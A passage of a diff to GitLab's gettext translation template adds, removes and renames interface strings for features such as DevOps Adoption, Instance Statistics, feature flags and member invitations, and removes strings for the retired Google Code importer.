msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9208,6 +9451,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9226,6 +9472,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9262,6 +9511,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9319,6 +9571,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9397,15 +9652,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9415,15 +9664,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9613,9 +9931,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9688,9 +10003,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9739,9 +10051,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9847,6 +10165,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9922,6 +10243,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9952,6 +10276,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -10024,7 +10351,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -10042,6 +10369,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10393,6 +10723,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10504,6 +10837,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10741,9 +11077,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10780,6 +11113,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10858,6 +11194,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -11092,6 +11431,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11200,6 +11542,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11335,6 +11680,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11374,6 +11722,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11413,12 +11764,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11587,6 +11944,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11611,9 +11971,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11674,6 +12031,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11716,7 +12076,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11842,12 +12202,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11872,9 +12226,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11920,9 +12271,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -12007,6 +12355,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -12034,9 +12385,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12523,6 +12871,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12556,6 +12907,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12766,15 +13120,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12889,12 +13240,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13129,6 +13474,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13522,12 +13873,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13603,6 +13948,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13756,9 +14104,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13900,6 +14245,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13978,12 +14326,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -14035,9 +14377,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -14068,6 +14407,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -14101,6 +14443,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14131,9 +14476,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14311,9 +14653,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14398,9 +14737,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14425,73 +14761,79 @@ msgstr[2] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14530,6 +14872,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14563,7 +14908,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14581,6 +14935,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14602,6 +14959,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14677,6 +15037,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14719,6 +15082,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14743,6 +15109,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14788,6 +15157,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14797,16 +15169,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14914,9 +15286,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14980,6 +15349,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -15115,10 +15487,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15295,6 +15667,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15424,6 +15817,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15607,9 +16003,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15703,6 +16096,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15730,9 +16126,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15763,9 +16156,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15829,9 +16219,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15877,18 +16264,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15904,9 +16282,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -16012,6 +16387,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -16033,6 +16411,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16237,9 +16618,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16300,16 +16678,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16372,7 +16744,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16384,7 +16756,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16432,6 +16804,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16456,9 +16831,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16615,7 +16987,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16651,9 +17026,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16663,12 +17047,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16687,6 +17080,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16738,6 +17134,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16789,6 +17188,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17347,6 +17749,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17452,6 +17857,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17485,12 +17893,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17548,7 +17950,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17644,6 +18046,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17773,6 +18178,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17806,6 +18214,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -18031,7 +18442,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18184,6 +18595,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18289,9 +18703,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18475,9 +18886,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18514,6 +18922,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18532,6 +18943,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18544,6 +18958,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18583,6 +19000,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
